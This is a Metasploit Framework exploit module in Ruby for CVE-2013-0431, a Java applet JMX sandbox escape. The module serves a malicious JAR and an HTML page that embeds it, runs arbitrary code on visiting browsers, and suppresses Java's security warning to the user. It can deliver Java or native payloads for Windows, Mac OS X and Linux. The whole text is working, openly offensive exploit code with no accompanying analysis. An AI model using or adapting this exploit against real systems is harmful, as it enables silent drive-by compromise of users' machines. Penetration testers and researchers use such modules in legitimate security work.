Java Applet JMX – Remote Code Execution (Metasploit) (2)
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' require 'rex' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::EXE include Msf::Exploit::Remote::BrowserAutopwn autopwn_info({ :javascript => false }) def initialize( info = {} ) super( update_info( info, 'Name' => 'Java Applet JMX Remote Code Execution', 'Description' => %q{ This module abuses the JMX classes from a Java Applet to run arbitrary Java code outside of the sandbox as exploited in the wild in February of 2013. Additionally, this module bypasses default security settings introduced in Java 7 Update 10 to run unsigned applet without displaying any warning to the user. }, 'License' => MSF_LICENSE, 'Author' => [ 'Unknown', # Vulnerability discovery and exploit in the wild 'Adam Gowdiak', # Vulnerability discovery 'SecurityObscurity', # Exploit analysis and deobfuscation 'juan vazquez' # Metasploit module ], 'References' => [ [ 'CVE', '2013-0431' ], [ 'OSVDB', '89613' ], [ 'BID', '57726' ], [ 'URL', 'http://www.security-explorations.com/materials/SE-2012-01-ORACLE-8.pdf' ], [ 'URL', 'http://www.security-explorations.com/materials/SE-2012-01-ORACLE-9.pdf' ], [ 'URL', 'http://security-obscurity.blogspot.com.es/2013/01/about-new-java-0-day-vulnerability.html' ], [ 'URL', 'http://pastebin.com/QWU1rqjf' ], [ 'URL', 'http://malware.dontneedcoffee.com/2013/02/cve-2013-0431-java-17-update-11.html' ] ], 'Platform' => [ 'java', 'win', 'osx', 'linux' ], 'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true }, 'Targets' => [ [ 'Generic (Java Payload)', { 'Platform' => ['java'], 'Arch' => ARCH_JAVA, } ], [ 'Windows x86 (Native Payload)', { 'Platform' => 'win', 'Arch' => ARCH_X86, } ], [ 'Mac OS X x86 (Native Payload)', { 'Platform' => 'osx', 'Arch' => ARCH_X86, } ], [ 'Linux x86 (Native Payload)', { 'Platform' => 'linux', 'Arch' => ARCH_X86, } ], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Jan 19 2013' )) end def on_request_uri(cli, request) print_status("handling request for #{request.uri}") case request.uri when /\.jar$/i print_status("Sending JAR") send_response( cli, generate_jar, { 'Content-Type' => "application/octet-stream" } ) when /\/$/ print_status("Sending HTML") send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' }) else send_redirect(cli, get_resource() + '/', '') end end def generate_jar paths = [ [ "Exploit.ser" ], [ "Exploit.class" ], [ "B.class" ] ] p = regenerate_payload(cli) jar = p.encoded_jar paths.each do |path| 1.upto(path.length - 1) do |idx| full = path[0,idx].join("/") + "/" if !(jar.entries.map{|e|e.name}.include?(full)) jar.add_file(full, '') end end fd = File.open(File.join( Msf::Config.install_root, "data", "exploits", "cve-2013-0431", path ), "rb") data = fd.read(fd.stat.size) jar.add_file(path.join("/"), data) fd.close end return jar.pack end def generate_html html = <<-EOF <html> <script language="Javascript"> var _app = navigator.appName; if (_app == 'Microsoft Internet Explorer') { document.write('<applet archive="#{rand_text_alpha(4+rand(4))}.jar" object="Exploit.ser"></applet>'); } else { document.write('<embed object="Exploit.ser" type="application/x-java-applet;version=1.6" archive="#{rand_text_alpha(4+rand(4))}.jar"></embed>'); } </script> </html> EOF return html end end |